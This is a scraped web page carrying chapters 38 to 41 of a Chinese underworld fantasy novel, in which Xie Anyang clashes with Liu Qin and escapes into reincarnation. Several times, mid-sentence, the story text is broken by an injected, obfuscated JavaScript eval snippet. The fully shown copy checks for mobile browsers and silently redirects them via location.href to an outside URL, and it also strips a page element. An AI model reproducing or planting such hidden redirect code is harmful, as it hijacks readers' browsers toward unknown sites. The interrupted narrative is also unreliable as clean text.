谢安阳吓了一跳,良久才说:“我尽量。” 临别前,谢安阳也是兴之所至,无意中扫见了刘钦桌案上的信纸,一时心血来潮,便走过去,正好旁边有一本古书,他就随手翻看了几页,也抄了几句话下来: —————— 刘钦【注】: 惠信敬悉,甚以为慰。别来无恙。遥想民国十九年,初逢君时,恰同学少年,风华正茂,一见如故,以为高山流水,可觅知音。地府相伴四十余载,情谊愈深,奈何世事无常,轮回误闯,竟成永诀。 久别重逢,欣喜之情,难以言表。近观君似有睽异之处,长鸣自知所谋之事易生误会,谅君亦有所察,然其苦衷实难尽言,异日有机,必详告君此事本末。奈何处境艰难,诸多掣肘,临书仓促,不尽欲言。春寒料峭,尚望君善自珍重。 旦逢良辰,顺颂时宜。 【落款:沈长鸣】 谢安阳忽然看到了毛笔,忍不住手痒,又为了避免误会,顺手描了一簇兰草在信纸下方。 他满意地点点头,心说:很像沈长鸣的手笔。 38. 道别(三) 谢安阳到花海时,又跟众人打了招呼。途中遇到了孟忱,将之前准备好的一沓宣传册交给他后,就准备离开了。 谢安阳忽然问出一句,“你说人读书的意义是什么?” 孟忱愣了愣,下意识回答:“为了教会人向善吧。当然,阅历会让人向善,也可能放大人们心中的恶。” “那你觉得我是善是恶?” “至少沈长鸣是善!” 谢安阳颇有些赞同地点点头,看起来还有些惋惜:“可惜谢安阳不是。我倒觉得,阅历少的人最容易被煽动,别人三言两语,他们无需思考,总会一拥而上的。” 孟忱叹息着,似乎有些无奈:“至少他们有善吧。” 谢安阳像是听到了天大的笑话,话音冰冷刺骨:“雪崩的时候,没有一片雪花是无辜的!煽动者固然坏,可被煽动之人的愚昧无知更加可憎!” 孟忱觉得他有点癫,可能是面对沈长鸣时心怀愧疚,连忙转移话题:“城主突然放你去轮回,你不觉得有蹊跷吗?” 谢安阳歪头想了想,“说真的,他明知道我有常宇的信物,还能一声不响让我去轮回,无非是想利用我找到常宇。可他不知道的是,常宇已经步入轮回,我也不知道他去哪里。” 孟忱问:“那你这次……” 谢安阳说:“我之前在忘川府问他们沈长鸣是谁,很多人都避之不谈,唯独我问城主的时候,他毫无疑心就告诉我了。我猜我这几年的举动一直被盯着,只不过我表现得太过蠢笨,给了他们一种假象,就好像我什么也没有做——不过事实上,我的确什么也没做,不是吗?” “他这次让你走,是你逼迫你做出行动,好借此找到常宇的踪迹?” “我猜,他多半已经知道我是沈长鸣了,只不过我的确没有上一世的记忆,才打消了他的一些疑虑。” “那你还……” 谢安阳又无奈地笑说:“还有吴桉,我把人交给他们,也算大功一件了,要是成不了,也算一条后路。” 孟忱问:“说起来,你为什么当初没有直接把人交给忘川府?” 谢安阳笑着说:“会被人发现我记忆尚存,那我的身份就藏不住了,就算他知道我是沈长鸣,却不一定知道我有彼岸花,会招来一堆麻烦的。更何况,太便宜吴桉了,我得让他也尝尝被最信任的人亲手送上死路的滋味!要是今天走不了,我会再送吴桉一份大礼!” 他说到最后,近乎癫狂地笑了出来。 孟忱有些无言以对,沉默了好一会,才说:“此行可能不会顺利,你当心。” 谢安阳笑了,“我能否顺利离开,就看你是否能为我拖延时间了,不出意料的话,一会刘钦该来找我了。” 孟忱犹豫了一下,冲他拱手,“长鸣,保重!” 谢安阳作揖回礼,真真有了一点沈长鸣的影子,他认真道:“多谢。” 而孟忱也在他离开后,将手中的宣传页扔到空中,任其簌簌而落,又被身边的人捡起来。 “这是什么?” “像是一张地图。” “不对,是忘川府……地盘画样?” “背面有字……” “写的什么,快看看,我不识字……” “我们没有做过恶,不该落到这个下场……这是一份反抗忘川府的宣传?” 孟忱咳嗽一声,在一旁试图解释道:“各位,如你们看到的这般,忘川府没有资格把我们丢在这里滋养彼岸花,凭什么要用我们的血肉去供养地府的工作人员!” “道理大家都懂,可千百年来都是这个规定,从未打破过,谁又敢真的抗议呢?” 立马有人反驳回去:“常规就一定是对的吗?还是说你们想一辈子这样麻木下去?” 孟忱说道:“花田和忘川府之间有个迷阵,可现在咱们有了通往忘川府的图,这就是个时机,一旦错过了,咱们日后就只能在这里腐烂成泥,滋养彼岸花了!” “依你之见,我们应该怎么做?” 孟忱:“跟我一起去忘川府讨个说法吧,找回我们被磨没了的尊严!为新生博一条出路!” 有人问:“要是失败怎么办?” 孟忱摇摇头,“这是少城主给的东西,出了什么事他来担,更何况最差的情况就是魂飞魄散,可是咱们的血肉滋养彼岸花,和魂飞魄散有什么区别!?” 有人附和:“魂飞魄散还能一了百了,血肉腐烂就得眼睁睁看着自己化为虚无,太痛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而刘钦正烦躁着,压根没心思管这些,“回来再说!” 39. 对峙 河渡的尽头有一处光亮,离得近了,便能发现那是一个类山洞的地方,只是那里透出了幽蓝色的光芒。 谢安阳深吸一口气,心里有些忐忑,正准备迈步走向他所谓的新生,身后突然传来一声呼唤:“安阳!” 果然是刘钦和杨洵。 刘钦会来已在意料之中,谢安阳还是有些意外,他整理好神情,转过身笑着调侃:“怎么,舍不得我?” 刘钦气喘吁吁地呼出一口气,“有个事得提前问问你。” 谢安阳笑问:“干嘛?” 杨洵适时地递给他一张传单,谢安阳一眼见了,心中一惊,但还是强装镇定道:“这是什么?” 刘钦没好气地说:“你敢说这东西跟你没关系?” 谢安阳笑了一声,“然后呢?” 刘钦打量了他一阵,未置可否,而是继续问:“你一早真的不知道天植的本名是谢安心?”话音里略带试探。 谢安阳笑了笑:“当然。” “那你不要谢安心了吗?” 谢安阳却笑了,“我相信你会照顾好她。” 刘钦察觉不出异常,便一声嘱咐:“我就是想提醒你,去到人间,千万不要让人知道你记得前生,也不要利用枉死城的经验去做引人注意的事。” “说人话。” 刘钦:“就是不要太招摇,城主希望你平凡一生,而不是利用记忆优势作弊,也不想太引人注目。比如,让人觉得你像个天才。成人的学习能力总是强过小孩子,你不要让人觉得你智商超群,等你大了,这个谎言你没法圆?” “若我非要作弊呢?” “取消枉死城城主候选人资格!下一世,你也没有资格入枉死城了!”刘钦的语气格外认真。 谢安阳干笑着说:“不至于。” 刘钦却突然转向杨洵,杨洵会意,点了个头,说:“我去船上等你们。” 谢安阳瞥他一眼,他犹豫了几秒钟,又对谢安阳说:“阳儿,我们在枉死城等你回来。” 谢安阳开玩笑说:“那你可能要等我一纪了。” 杨洵则说:“你若真能长命百岁,我喜闻乐见。” “去你的。” 谢安阳又看向刘钦:“你怎么还不走?” 刘钦不答反问:“怎么,我来这里你很失望?还是说你希望我不要来?” 谢安阳故作玩笑道:“你回去吧,你看着我,我怕我舍不得走。” “那就别走了。”刘钦说这话的时候,突然握住了谢安阳的手腕。 那里的绑带已经松了一些,谢安阳下意识挣扎了两下,却被刘钦抓得紧紧的,刘钦面不改色地问:“这怎么松了,是忘记换了吗?” 他记得,这些年谢安阳手腕上都缠有这条绑带,据说是手腕露骨头了,看着骇人,所以缠着。 谢安阳有些心虚,“俩大男人,拉拉扯扯不合适,再不走要耽误时间了。” 刘钦依旧抓着不放,还心平气和地问出一句:“安阳,你真的不记得谢安心吗?” “当然,你怀疑我?”谢安阳又试着挣扎了两下,不动用地府那股力量,根本撼动不了分毫,“你这样……反倒让我觉得你对我有意思,别说你跟王鹤青一样变态,我接受不了。” 刘钦没理会他的故意调侃,只说:“带着恩怨去轮回的人,只会创造更多恩怨!” “你什么意思?我已经忘了……” 刘钦这回没惯着他,突然上前抓住他的衣襟,用力一扯,露出胸口处一个窟窿,“这个你都能放……” 谢安阳胸口的绷带已经没了,那里没有什么窟窿,只有一道箭伤痕迹。 刘钦像是明白了什么,突然用力一扯他手腕上的绑带,绑带就那样伴随着力量被扯了下去,露出了一道花纹。 谢安阳着急忙慌地收回手,却被刘钦拽住了,他似乎早有察觉,并没有多惊讶,而是冷冷地问:“这是什么?” 谢安阳脸色一沉,强装镇定地说:“随便画的。” 刘钦撸开自己的衣袖,也露出了那道花纹,随后问:“怎么跟我的这么像?” 谢安阳一本正经胡说八道:“那天看到好看,回头就……” “谢安阳!!”刘钦一声怒吼。 谢安阳一声不吭地想要抽回手,奈何力气不如刘钦,顿时脸色不好看了,他憋了许久,才低声说:“哥,求你了。” 刘钦忽然问:“你当初是不是进不了枉死城?” 谢安阳没多少耐心,只好说:“是。” “你是靠这个进的枉死城?” “是”谢安阳压着火气,着实没想到他会怀疑自己有彼岸花纹,只软声哀求:“求你了,刘钦,你当没看到行不行?” 刘钦怒气就压不住:“我乃忘川府执法者,你觉得呢!?” 谢安阳歪开头,没吱声。 刘钦半天才从震惊里回过神,“这个东西你从哪得来的?” “你知道城主为什么会选我做候选人吗?”谢安阳好整以暇地看向河面,上方雾气氤氲,模糊了远处的一切风物,“我可不信他真的是看重我心性赤诚。” 刘钦难以置信地望着他,他又故作轻松地笑说:“这个世道容不下赤诚的傻子,但是这样的傻子还是不计其数,至少我认为我不算赤诚。所以他这个理由听起来多么牵强,也就你会信了吧?” 刘钦总觉得自己被骂了,但又说不上来哪里不对劲,“所以呢?” “城主十之八九知道我有这个东西,不是我在瞒你,而是城主也在瞒你。” 刘钦没好气地捏了下他的手腕骨,疼得钻心,谢安阳皱了皱眉,“你干什么?” 刘钦说:“我在问,这东西你是从哪得来的!?” “一个好心人给的。” “哪个好心人?” 谢安阳没吭声了,刘钦也没继续追问:“行,跟我回去,我自有办法检测出你这朵彼岸花的主人!” 谢安阳一动不动,“刘钦,我没求过你什么……” “老子不想听,跟我回去!”刘钦气愤地打断。 “你就非要抓着这个不放吗?” “是你一直在搅浑水,你敢说洪磊的死真的跟你没关系!?” 谢安阳哑口无言。 刘钦越想越气,“枉死城这个桃花源已经满足不了你了吗?若你安分守己待在枉死城,还没人会发现你的秘密,你处心积虑搞出这么多事情,还想把别人当傻子吗?!” “桃花源?”谢安阳突然间也有点火气:“你看看我,缺了心,你再看看枉死城里那些人!他们不是缺胳膊就是断腿,有甚者脖子上一道疤,或者头顶着血窟窿!我隔壁的欢姐你见过了吗?她有孕在身五六个月的时候被人生剖了肚子,至今她的腹部还有道骇人的口子,她成日抱着个肉胎到处逛,你告诉我这是桃花源,这叫什么桃花源啊!?欢姐甚至不知道是谁害了她的孩子!!” 刘钦愣了一下,回怼了一句,“那是因为抗战,过了那段时间就好了。” “古往今来,战争什么时候停过?!人间的战争短暂停了,可文/革又出现了,紧接着是饥/荒、人吃人,下一个天灾人祸会是什么时候!?”谢安阳疯疯癫癫地笑了几声,“每逢这个时候,枉死城的人都会是这个样子,我真心求你们了,让他们去轮回吧!欢姐是姑娘家,又爱美,你让她去轮回吧,她会有个新的身体,也会再有个真正的孩子!!” 刘钦从震惊中回过神,漠然地道出一句:“你果然什么都记得。” “是!我当然记得!我若是不记得,真就以为这里是桃花源了!要我说,这个枉死城就不该存在!”谢安阳说到最后气得吼了出来。 话音刚落,脸上挨了刘钦一拳。 谢安阳捂着脸偏开头,不想看到他,更不想说话。 刘钦执着地重复道:“安阳,你不要将错就错,你往回走,城主还愿意给你彼岸花回枉死城,你就这么走了,出了什么事,谁给你担!?” 谢安阳也不甘示弱:“枉死城不是我想去的桃花源,家人才是,我想去的是人间,我不要什么都不记得,在枉死城困个几十年才去轮回,我受不了!求你了,刘钦,我马上就能轮回,你放过我行不行?” 刘钦一声怒吼:“我放过你就是徇私,你以为城主会放过我吗?” “那你就当没看到,落下的过错我自己会去担!” “你担得起吗,你若是被发现,再回到地府可能连轮回的资格都没有,只能被当作石蒜的养料了知不知道!?” 谢安阳气笑了,“按你这意思,我至今什么都记得,还不是一样要当石蒜养料!?没什么可说的了,今天我一定要走!” 刘钦又一把拽住他,“枉死城就让你这么嫌恶吗?” “我不嫌,你让所有的人恢复记忆,你拿出能给大家修复身体的神力,我不是嫌弃残缺,而是面对这种所有人都……”谢安阳的话音几乎带了哭腔,忍不住笑出了眼泪,“我接受不了,是个人都接受不了,他们能接受是因为不记得人间,可我还记得,或许人间有太多阴暗,可至少在那里活的自在,而不是在这里当一具行尸走肉,活在你们编织的梦里!人活着是因为家人相伴,枉死城算什么,让失去家人的人以残躯孤独终老吗!?” 刘钦被怼得哑口无言,最后只是说:“你抱怨没用,你有本事就自己当上城主,去改变枉死城!” 谢安阳冷笑一声,“我可没有那么伟大的理想,我不想救世,也没那个本事,英雄梦这种事留给不谙世事的少年郎吧,我现在只想轮回,想要一个新生!” 刘钦:“谢安阳,你真自私!” “随你怎么说!”谢安阳冷冷地说,他毫不犹豫转身步入幽蓝色的灵境。 然而,意料之中,他被那道幽蓝色的光门弹开了——他身上有终身契,无法去轮回。 “行,那我就告诉你,今天你是别想走了。”他一边说,一边奋力抓住谢安阳的手腕,将他往杨洵的船那边拽。 谢安阳试着挣扎了几下,根本挣扎不过,他的彼岸花在地府储蓄的力量根本不如刘钦,更何况还有杨洵。 他就那样被拽上了船,面色倒是没有多慌,认命似的找了个角落坐下,“如果我回到枉死城,你们会怎么处置我?” 杨洵欲言又止,刘钦没好气地说:“大概会取消你的候选资格,然后囚禁在枉死城里一生,直到寿终,我会尽力争取没有别的处罚。” 谢安阳有气无力地问:“你就不能放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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谢安阳语气轻描淡写:“是啊,我和他初次见面不是因为我轻生,而是他把我推下忘川,而我却什么事也没有。” 刘钦眉目凝重起来,没吭声。 谢安阳继续说:“我最初好多东西想不起来了,直到他把我推下忘川,才将回忆起一点点拼凑起来,他总在找一些前世的东西,企图唤醒我的记忆,那我只好也假装什么也不知道,陪他演戏。” “那你为什么不告诉我!?” 谢安阳笑问:“有用吗?他还不是能正常去轮回,我当时并不知道你们会不会放过他,除非让他触犯地府刑罚,让他没有资格去轮回。” 刘钦皱眉问:“那你把他推下忘川也行,强过你算计所有人吧?” “那可不行,多没意思,反正在这里也是闲着,他不是想玩吗,我陪他一场,看看谁计高一筹!”谢安阳的话越说越狠:“逢场作戏的最高境界,一半真情一半假意就足以让他沦陷,我替他挡刀,又为他想办法,他应该很感动吧,想不到我这个仇人竟然会为他挡刀生死不顾!哈哈,他现在说不定正在纠结,到底是仇恨重要,还是友情重要,他心里的仇恨开始动摇了,这就是我的目的——最好的复仇方式,杀人诛心!哈哈哈!” 刘钦问:“所以你费尽心思做这些是为了什么!?” 谢安阳近乎咬牙切齿道:“我想让他从这个世间消失,我要他永世无法去轮回!!” “你就这么恨他?” “倘若没有彼岸花,我已经被他淹死在忘川无数次了,你怎么不问问他是有多恨我!?” “那洪磊呢!?他又哪里招惹你了??” 谢安阳好整以暇地抱着胳膊:“刘钦,你别试探了,他的死就算与我有关,你也没有证据能够证明是我杀的他!” “那你倒是拿出证据来证明你没有杀他!” 谢安阳:“我当然有证据证明非我所为,只不过你作为执法者,怎么能让受害者自证呢!?” 刘钦本来就是诈他的,得到这个答案也没有多生气,“你放心,我会找到证据的!反正花田多的是想成为地府工作人员的人,你看他们会不会说。” 谢安阳倒是丝毫不慌,缓慢地扒开手臂上的花纹,望着远处的雾霾,愣愣道:“前生好遥远啊,许多事都想不起来了,或许是我做过恶吧,根本没有进入枉死城的资格。” 刘钦轻嗤了一声,没接话。 谢安阳似乎累了,最后叹息一声,“我不可能跟你回去的,与其成为彼岸花的养料,还不如一死了之!是人都会死的,哪有人活过漫长的岁月,你说是吧?” “你要干什么?” 谢安阳没有回答,而是站了起来,像是想清楚了,一步步往后退,杨洵在另一侧掌船,而刘钦猜不出他的意图。 他就那样站在船的边缘,船下就是忘川水。 刘钦并不怕他寻短见,因为他身上有彼岸花。 然而刘钦怎么也没想到,他竟掏出了一把匕首,二话没说,一刀划在了手臂的彼岸花上——一朵散发着幽光的彼岸花就那样浮在半空之中,谢安阳的脸色瞬间变得惨白无比。 等刘钦察觉他的意图时,他已经张开手臂,一脚踏空,从船上掉了下去,只来得及说出最后一句,“刘钦,后会有期。” 40. 疯魔 最后谢安阳并没有死,他及时被刘钦救了上来,但脱离了彼岸花,身体很多地方还是灼伤得血肉模糊。 他这一觉连着睡了三天三夜,小植没日没夜地守在他身边,而刘钦和杨洵没事就在房里下围棋,反正也是寸步不离。 这天,刘钦正在房间里坐着看一封信。杨洵看他脸色难看,小心翼翼地问:“这是安阳的笔迹么?” 刘钦静默了许久,拿着书信都手都在抖,半天才吱了一声,“西园查到谢安阳身上那朵彼岸花的主人了吗?” 杨洵犹豫了一下,如实答道:“沈长鸣。” 刘钦猛然间抬起头,“沈长鸣!?” 刘钦似乎有些疲惫,掐着眉心问:“那沈长鸣的档案拿到了吗?” 杨洵无奈地摇摇头,“还在城主那里。” 这时,门外传来一声咳嗽,郑康拿着一份文件袋走了进来,没等刘钦开口问,伸手递给了他。 刘钦迟疑了一下,接过来打开看。 十来分钟后,刘钦总算从迷茫中挣扎出来,看样子还有些疑惑:“现在所有证据都证明安阳就是沈长鸣。” 城主点了个头,“你还记不记得,上一任的城主准继位人乃是沈长鸣?” “记得,当时没有候选人,他就是准继位人,可后来……”刘钦看了看他,忍不住问:“您是不是一早就知道他是沈长鸣?二十多年前究竟发生了什么,为什么非要长鸣去轮回?” 郑康倒了杯茶,品了几口,才开口道:“二十年前,陈拓身上背负的罪恶太深,忘川府无权处理这类人,准备移交给对岸地府处理。 可就在前一晚,陈拓突然吵着要见沈长鸣。对待这种人,本没有必要惯着他,第二天一早押送给对岸的人交接,就不会有那么多是非了。 然而沈长鸣为常宇蛊惑,跟随他一起与陈拓碰了面。陈拓早有准备,在常宇的配合下重伤了沈长鸣,还打伤了很多地府人员,等老夫赶到的时候,他已经被常宇送进了轮回。 后来常宇和沈长鸣被问责,沈长鸣不再是准继位人,常宇也被剥夺了终身契,还签下了问心契,从此赶出忘川府。 之后的事,你从对岸赶回来也知道了。沈长鸣重伤后昏睡了很久,不明真相,他本是想去对岸找你的,途中却遇到了常宇。 常宇拿走了他的终身契,逃往了对岸,不知所踪。而沈长鸣失去终身契,只能被迫去轮回。 刘钦听不太明白,又问:“老城主为什么要骗沈长鸣去找陈拓?” 郑康不以为意,“他当时已是最后一年任职,若是没有那个意外,沈长鸣就是现任城主,他是不想退位吧。” “可他最终却被剥夺了终身契,发生了那样的事,他完全可以走的,何必坐以待毙,根本说不通。” “是老夫当时及时拦住了他,且他身上有终身契,根本无法去轮回,更何况,他还夺走了沈长鸣的终身契。” 听起来似乎有些说服力,刘钦总觉得还有哪里不对劲,可又说不上来,只好道:“那您为何要让安阳当城主候选人?” 郑康笑了,“一则他是沈长鸣,二则他身上有常宇的信物。” “您是想通过他找到老城主?” “没用了,常宇已经去轮回了,就在安阳踏入忘川府那一天。” 这种情况就只能等他再次回到忘川府了。 刘钦问:“通往轮回境的船自有掌舵人核对身份,是谁放他去轮回的?” “这你不用管,那个人已经被追究了。” 刘钦有点无奈:“那安阳怎么办?” 郑康只是问:“最近那些事是谁干的,查到了吗?” “命丧忘川的那些人,又是陈拓做的,他的目的是想让安阳死,可是……”刘钦欲言又止,想说某些地方说不通。 谢安阳虽没有理由参与这件事,可他至始至终没有上报过忘川府,还隐有助纣为虐之嫌。 郑康却有了疑心,“哪里不对?” 刘钦也不知道是怎么想的,改口道:“洪磊的死跟他有关,酒是他间接给洪磊的,他说酒是吴桉给他的,但吴桉根本没有必要杀洪磊,而且洪磊曾经伤害过天植,天植可是她的亲妹妹,我总觉得他脱不开干系。” “他否认酒是他给的吗?” “那倒没有,他承认有加忘川水在酒里,也许是想尝试用这种方式弄死安阳吧,谁知道安阳把酒给了洪磊。” “那不就对上了?” 刘钦还是觉得哪里不对劲,但又说不上来。就有一种,吴桉与洪磊无冤无仇,却无意中杀了伤害过谢安心的人。 刘钦毫无头绪,只好看向昏睡的谢安阳,“他现在这怎么办?” 城主却眸光一凝,提醒说:“他醒了。” 只见谢安阳动了动手指,天植慌忙间抓住了他的手叫“哥哥”,然而谢安阳睁开眼,却满眼迷茫地环顾了一遍四周。 天植没反应过来,试探地唤了一声:“哥?” 谢安阳瞥她一眼,漠然地别开目光,直接无视了她,面无表情地起身下床。 天植就在后面追:“哥!” 刘钦立马过去拦住他,“你要去哪?” 谢安阳却眨眨眼,委屈地说出一句,“我好饿。”语气带了一点娇气。 刘钦一时没反应过来,但是还是对杨洵说:“你去东园找点吃的给他吧。” 杨洵点头应下了。 刘钦正准备问谢安阳情况,却发现后者忽然扒开他,朝着棋盘走了过去。 “醒了就好。”刘钦语气里带了几分温和,也不知道是因为潜意识里把谢安阳当成沈长鸣的缘故,还以为是他对围棋感兴趣,接着问:“你想下棋吗?” 谢安阳斜睨他一眼,从竹篓里抓起了几颗棋子,刘钦正准备过去陪他下一场,下一秒,却看到他把棋子塞进了嘴里。 “?”刘钦眼疾手快地扒他手,试图从逼迫他把棋子吐出来,忍不住怒吼一声:“长……安阳你发什么疯??” 谁知谢安阳却红了眼眶,眼泪就止不住了,“凭什么不给我吃!我饿了!” 语气里还是带了一点小孩子的娇气。 刘钦终于察觉出不对劲,“你怎么了?” 谢安阳似乎听不懂他的话,趁其不备又抓起棋子往口中塞,刘钦生生给他掐吐了。 “你……”刘钦看他吐得难受,眼泪糊了一脸,犹豫了一下,软了口气,耐心说:“那个不能吃!” 谢安阳这就哭了,还特别大声,像个小孩子抓着棋子就往刘钦身上扔,“哇啊……凭什么不让我吃!” 刘钦躲开他,把棋子捡起来藏好,看天植过来拉住他,便转头问城主:“城主,他怎么了?” 郑康却观察了好一会,此时摇摇头,没吭声,继续观察谢安阳状况。 然而刘钦一个没看住,又看到他搁那里扒拉窥镜,连忙过去打开他的手,“安阳你到底怎么了?” 谢安阳继续哭着说:“我好饿啊。” 好在杨洵及时端来了一些水果给他,他才安静下来。 几个人在一旁商讨对策,天植却在一边惊叫一声:“哥,葡萄皮不能吃,吐出来!” 刘钦发现他不吐葡萄皮葡萄籽,一气之下赶紧抢过来,换成了不需要吐皮和籽的香蕉给他。 迟疑了几秒钟,刘钦又抢回来剥皮,才递给他,并温声说:“安阳,我是刘钦,你还记得吗?” “啊?”谢安阳却一脸迷茫,也不知道是没反应过来,还是听不懂他在说什么。 刘钦问:“他怎么了?” 郑康眼睛眯了起来:“难道是落入忘川水,变痴傻了?” 杨洵在旁边补充道:“的确有过先例,之前救过不少人,有部分出来都成了这副痴傻的模样。” 郑康忍不住说:“你当初好好说不行吗,非得逼得他跳忘川?” 刘钦叹口气:“说这些没用了,现在要怎么办?” “给他种彼岸花吧。” 刘钦说:“那他醒来怎么办?他根本不情愿这么活。” 谢安阳曾说过,无论遇到何境地,要想在他身上种彼岸花,必须经过他同意,否则他不敢保证会做出什么不利忘川府的事来。 郑康也很烦躁:“实在不行,送他去轮回,用人间肉身给他养魂魄。早这样做,也不用闹到这个地步。” 谢安阳也不知道何时又跑去端着葡萄不吐葡萄皮,刘钦气得一把抢过去,“谢安阳你脑子不好使吗,都说了皮不好吃,你信不信葡萄籽会在你肚子里长出葡萄树来?” 谢安阳懵了好一会,忽然眨眨眼,轻声问了一句,“刘钦呢?” “老子就是刘钦!” 谢安阳没在意,像是没听到,又自顾自地念叨:“刘钦还欠我一个心愿。” 杨洵忍不住在一旁问:“城主,他这个样子轮回之后会恢复吗?” 郑康耸耸肩:“我哪知道,看他造化。” 杨洵:“他要是去人间受欺负怎么办?” 刘钦气愤地说:“天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能……” “打住!你没完没了了是吧!?”还是郑康打断了他的话音,随后又有些无奈:“他是城主候选人,要是去到人间还恢复不过来,那就没有候选资格了。” 这回换刘钦好言道:“可安阳毕竟……” “那要不你跟去人间照顾他?”郑康接话很快。 刘钦张口就要拒绝,却突然想起了多年前的至交好友,于是果断说:“好啊!” “我呸,你那个算盘珠子都蹦我脸上了,”郑康翻个白眼,“你以为我不知道你想去找谁,别到时候把安阳扔在那边自己去潇洒?” 刘钦被这么一通骂,还试图狡辩:“我岂是那种人,安阳与我什么关系,我怎么可能这么对他?” 谢安阳突然骂了一句:“刘钦就没安过好心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘钦却察觉了不对,抓着谢安阳往他身上一通乱搜,果然摸出了一个一模一样的“耳蜗”,一时情急,又想给他一拳,可随后想起什么,强行忍住了,实在气不过,又咬牙切齿地骂:“谢安阳,你还真是疯了!” 郑康问:“怎么回事?” 刘钦将“耳蜗”交给杨洵,有气无力地苦笑一声:“这东西能两两传声,那天安阳说要去见吴桉一面,原来是为了把这东西给他,就是为了让他听见我们的对话。” 几人都有些唏嘘。 其实早在意料之中,谢安阳也没少这样,刘钦反而习以为常了。 郑康在一旁问:“吴桉怎么样了?” 差使说:“还在大喊大叫,别的倒是没什么了,我们已经把他锁住了,他暂时做不了什么。” 刘钦静静地听了一会儿,未置可否,却突然毫无预兆地冲谢安阳那边大喝一声,“谢安阳!!” 然而谢安阳却像是没听到,半点反应也没有,继续吃他的香蕉。 过了一会儿,那人离开了。 几人却突然听得一声碎响,紧接着是天植的惊呼声:“哥,不要——” 杯子碎了一地,谢安阳一把掀开了天植,竟好奇地伸手去捡地上的玻璃,刘钦这就急了,还没过去就见到玻璃划伤了他的手,他却不由分说,抓着玻璃要往口中塞。 刘钦这回确信他不是装的了,眼疾手快地打掉他的玻璃,一把拉着他扔到一边,“祖宗,那是玻璃啊,你到底想干什么!?” 谢安阳一脸迷茫的看着他,又想去捡玻璃。 郑康就在一边感叹,“也是个可怜人。” 刘钦抓着谢安阳的胳膊不让他乱动,天植早已吓哭了,刘钦无奈地说:“城主,现在要怎么办?” 郑康说:“要么给他种彼岸花,要么送他去轮回。” 刘钦斟酌了良久,认真说:“送他去轮回吧,他早就想回人间了。” 郑康欲言又止,最终只说出一句:“也罢,让他走吧。” 刘钦苦笑一声:“早知道还是会让他走,当初就不该带他回来,何必遭这罪。” 郑康也是不忍了,“老夫也没想到你把他逼到这地步,他就算犯了天大的错,只要没有害人命,就不至于要他万劫不复,何况枉死城不归地府管,是什么结局还不是我说了算的。” 刘钦“呵”了一声,“我也没想到你会包庇他到这地步。” 而谢安阳挣扎不得,又哭又喊起来:“我要玉米!!刘钦,我要玉米!!” 天植都急哭了,“刘钦哥哥,我哥没事吧?” 刘钦望着谢安阳,也不知道是对天植说的,还是对自己说的,“会没事的,长鸣。” 刘钦短暂地沉默了好一会,又吐出一句,“如你所愿,送你入轮回。” 41. 终章 刘钦五味杂陈地送谢安阳踏入轮回境,总归还是于心不忍,也不管他能否听懂,温声道了一句:“吴桉已经被送去了地府,如你所愿,他的确无□□回,王鹤青说,他过几天就会被地府抹杀了,你要是意识还清醒着,应该会很满意吧?” 谢安阳没作回应,像是还听不懂,依旧扒他胳膊:“我要玉米!” 他还是疯疯癫癫地吵着要“玉米”,刘钦不知道他对“玉米”有什么情结,也懒得哄他,只温声说:“你放心吧,我会照顾好小植的。” 刘钦没回话,一把将他推进了轮回境:“长鸣,来世再见。” 刘钦吐出一口气,正准备转身离去,却突然看见谢安阳似乎笑了一下,用口型说了一句:“刘钦,来世再见。” 刘钦懵了一会,遂反应过来了,上前就想将他拉出来,然而他却无法靠近光门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496525|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时气急败坏地骂:“谢安阳你个王八蛋!你有本事就一直躲在人间,等你回来老子直接把你淹死在忘川里!” “那就等本少爷回来再说。”谢安阳幽幽地扔下这一句,“谢谢你替我照顾小植。” 刘钦气个半死,却又听谢安阳唤了他一声:“刘钦……” 刘钦抬起头:“?” 谢安阳浅笑了一下:“旦逢良辰,顺颂时宜。”